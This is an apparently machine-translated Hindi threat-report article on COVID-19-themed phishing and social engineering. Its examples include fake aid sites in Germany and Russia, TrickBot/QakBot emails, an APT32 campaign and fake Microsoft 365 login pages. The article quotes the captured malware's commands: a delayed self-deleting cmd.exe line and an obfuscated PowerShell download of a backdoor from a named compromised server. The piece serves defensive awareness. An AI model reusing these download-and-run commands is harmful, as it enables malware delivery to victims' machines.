कोरोनावायरस साइबर हमले: पूरा मुद्दा सोशल इंजीनियरिंग में है

हमलावर COVID-19 विषय का फायदा उठाना जारी रखते हैं, उन उपयोगकर्ताओं के लिए अधिक से अधिक खतरे पैदा करते हैं जो महामारी से संबंधित हर चीज में गहरी रुचि रखते हैं। में पिछला पोस्ट हम पहले ही इस बारे में बात कर चुके हैं कि कोरोना वायरस के मद्देनजर किस प्रकार के मैलवेयर सामने आए, और आज हम सोशल इंजीनियरिंग तकनीकों के बारे में बात करेंगे जिनका सामना रूस सहित विभिन्न देशों के उपयोगकर्ता पहले ही कर चुके हैं। सामान्य रुझान और उदाहरण कटौती के अधीन हैं।

में याद रखें पिछली बार हमने इस तथ्य के बारे में बात की कि लोग न केवल कोरोनोवायरस और महामारी के पाठ्यक्रम के बारे में पढ़ने के इच्छुक हैं, बल्कि वित्तीय सहायता उपायों के बारे में भी पढ़ने को तैयार हैं? यहाँ एक अच्छा उदाहरण है. जर्मन राज्य नॉर्थ राइन-वेस्टफेलिया या एनआरडब्ल्यू में एक दिलचस्प फ़िशिंग हमले का पता चला। हमलावरों ने अर्थव्यवस्था मंत्रालय की वेबसाइट की प्रतियां बनाईं (एनआरडब्ल्यू आर्थिक मामलों का मंत्रालय), जहां कोई भी वित्तीय सहायता के लिए आवेदन कर सकता है। ऐसा कार्यक्रम वास्तव में मौजूद है, और यह घोटालेबाजों के लिए फायदेमंद साबित हुआ। अपने पीड़ितों का व्यक्तिगत डेटा प्राप्त करने के बाद, उन्होंने वास्तविक मंत्रालय की वेबसाइट पर एक आवेदन किया, लेकिन अन्य बैंक विवरणों का संकेत दिया। आधिकारिक आंकड़ों के मुताबिक, योजना का पता चलने तक ऐसे 4 हजार फर्जी अनुरोध किए गए थे। परिणामस्वरूप, प्रभावित नागरिकों के लिए लक्षित $109 मिलियन धोखेबाजों के हाथों में पड़ गए।

क्या आप COVID-19 के लिए निःशुल्क परीक्षण चाहेंगे?

कोरोना वायरस-थीम वाली फ़िशिंग का एक और महत्वपूर्ण उदाहरण था की खोज की ईमेल में. संदेशों ने कोरोनोवायरस संक्रमण के लिए मुफ्त परीक्षण कराने की पेशकश के साथ उपयोगकर्ताओं का ध्यान आकर्षित किया। इन्हीं के लगाव में पत्र ट्रिकबॉट/क्यूकबॉट/क्यूबॉट के उदाहरण थे। और जब अपने स्वास्थ्य की जांच करने के इच्छुक लोगों ने "संलग्न फॉर्म भरना" शुरू किया, तो कंप्यूटर पर एक दुर्भावनापूर्ण स्क्रिप्ट डाउनलोड हो गई। और सैंडबॉक्सिंग परीक्षण से बचने के लिए, स्क्रिप्ट ने कुछ समय बाद ही मुख्य वायरस को डाउनलोड करना शुरू कर दिया, जब सुरक्षा प्रणालियों को आश्वस्त किया गया कि कोई दुर्भावनापूर्ण गतिविधि नहीं होगी।

अधिकांश उपयोगकर्ताओं को मैक्रोज़ सक्षम करने के लिए राजी करना भी आसान था। ऐसा करने के लिए, एक मानक ट्रिक का उपयोग किया गया था: प्रश्नावली भरने के लिए, आपको पहले मैक्रोज़ को सक्षम करना होगा, जिसका अर्थ है कि आपको वीबीए स्क्रिप्ट चलाने की आवश्यकता है।

जैसा कि आप देख सकते हैं, VBA स्क्रिप्ट विशेष रूप से एंटीवायरस से छिपी हुई है।

विंडोज़ में एक प्रतीक्षा सुविधा है जहां एप्लिकेशन डिफ़ॉल्ट "हां" उत्तर स्वीकार करने से पहले /T <सेकंड> प्रतीक्षा करता है। हमारे मामले में, स्क्रिप्ट ने अस्थायी फ़ाइलों को हटाने से पहले 65 सेकंड तक प्रतीक्षा की:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

और इंतज़ार करते-करते मैलवेयर डाउनलोड हो गया. इसके लिए एक विशेष पॉवरशेल स्क्रिप्ट लॉन्च की गई:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

बेस64 मान को डिकोड करने के बाद, पॉवरशेल स्क्रिप्ट जर्मनी से पहले हैक किए गए वेब सर्वर पर स्थित पिछले दरवाजे को डाउनलोड करती है:

http://automatischer-staubsauger.com/feature/777777.png

और इसे इस नाम से सहेजता है:

C:UsersPublictmpdirfile1.exe

फोल्डर ‘C:UsersPublictmpdir’ कमांड वाली 'tmps1.bat' फ़ाइल चलाते समय हटा दिया जाता है cmd /c mkdir ""C:UsersPublictmpdir"".

सरकारी एजेंसियों पर लक्षित हमला

इसके अलावा, फायरआई विश्लेषकों ने हाल ही में वुहान में सरकारी संरचनाओं के साथ-साथ चीनी आपातकालीन प्रबंधन मंत्रालय को निशाना बनाकर APT32 हमले की सूचना दी थी। वितरित आरटीएफ में से एक में न्यूयॉर्क टाइम्स शीर्षक वाले लेख का लिंक शामिल था कोरोनावायरस लाइव अपडेट: चीन हुबेई से आने वाले यात्रियों पर नज़र रख रहा है. हालाँकि, इसे पढ़ने पर, मैलवेयर डाउनलोड हो गया (फ़ायरआई विश्लेषकों ने इस उदाहरण की पहचान मेटलजैक के रूप में की)।

वायरसटोटल के अनुसार, दिलचस्प बात यह है कि पता लगाने के समय, किसी भी एंटीवायरस ने इस उदाहरण का पता नहीं लगाया।

जब आधिकारिक वेबसाइटें बंद हो जाती हैं

फ़िशिंग हमले का सबसे ज्वलंत उदाहरण पिछले दिनों रूस में हुआ। इसका कारण 3 से 16 वर्ष की आयु के बच्चों के लिए लंबे समय से प्रतीक्षित लाभ की नियुक्ति थी। जब 12 मई, 2020 को आवेदन स्वीकार करने की शुरुआत की घोषणा की गई, तो लाखों लोग लंबे समय से प्रतीक्षित मदद के लिए राज्य सेवा वेबसाइट पर पहुंचे और पोर्टल को पेशेवर DDoS हमले से भी बदतर बना दिया। जब राष्ट्रपति ने कहा कि "सरकारी सेवाएँ आवेदनों के प्रवाह का सामना नहीं कर सकतीं," तो लोगों ने आवेदन स्वीकार करने के लिए एक वैकल्पिक साइट के लॉन्च के बारे में ऑनलाइन बात करना शुरू कर दिया।

समस्या यह है कि कई साइटें एक साथ काम करना शुरू कर देती हैं, और जबकि एक, असली साइट posobie16.gosuslugi.ru, वास्तव में आवेदन स्वीकार करती है, और भी बहुत कुछ दर्जनों भोले-भाले उपयोगकर्ताओं का व्यक्तिगत डेटा एकत्र करते हैं.

SearchInform के सहकर्मियों को .ru ज़ोन में लगभग 30 नए धोखाधड़ी वाले डोमेन मिले। इन्फोसिक्योरिटी और सॉफ्टलाइन कंपनी ने अप्रैल की शुरुआत से 70 से अधिक समान फर्जी सरकारी सेवा वेबसाइटों को ट्रैक किया है। उनके निर्माता परिचित प्रतीकों में हेरफेर करते हैं और गोसुस्लुगी, गोसुस्लुगी-16, वायप्लेटी, कोविड-वाइप्लेटी, पॉसोबी इत्यादि शब्दों के संयोजन का भी उपयोग करते हैं।

प्रचार और सोशल इंजीनियरिंग

ये सभी उदाहरण केवल इस बात की पुष्टि करते हैं कि हमलावर कोरोनोवायरस के विषय पर सफलतापूर्वक मुद्रीकरण कर रहे हैं। और जितना अधिक सामाजिक तनाव और जितने अधिक अस्पष्ट मुद्दे होंगे, घोटालेबाजों के पास महत्वपूर्ण डेटा चुराने, लोगों को अपने पैसे छोड़ने के लिए मजबूर करने, या बस अधिक कंप्यूटरों को हैक करने की संभावना उतनी ही अधिक होगी।

और यह देखते हुए कि महामारी ने संभावित रूप से अप्रस्तुत लोगों को सामूहिक रूप से घर से काम करने के लिए मजबूर किया है, न केवल व्यक्तिगत, बल्कि कॉर्पोरेट डेटा भी खतरे में है। उदाहरण के लिए, हाल ही में Microsoft 365 (पूर्व में Office 365) उपयोगकर्ता भी फ़िशिंग हमले का शिकार हुए थे। लोगों को पत्रों के साथ संलग्नक के रूप में बड़े पैमाने पर "छूटे हुए" ध्वनि संदेश प्राप्त हुए। हालाँकि, फ़ाइलें वास्तव में एक HTML पृष्ठ थीं जिस पर हमले के पीड़ितों को भेजा गया था नकली Microsoft 365 साइन-इन पृष्ठ. परिणामस्वरूप, खाते से सभी डेटा तक पहुंच की हानि और समझौता हो गया।

स्रोत: www.habr.com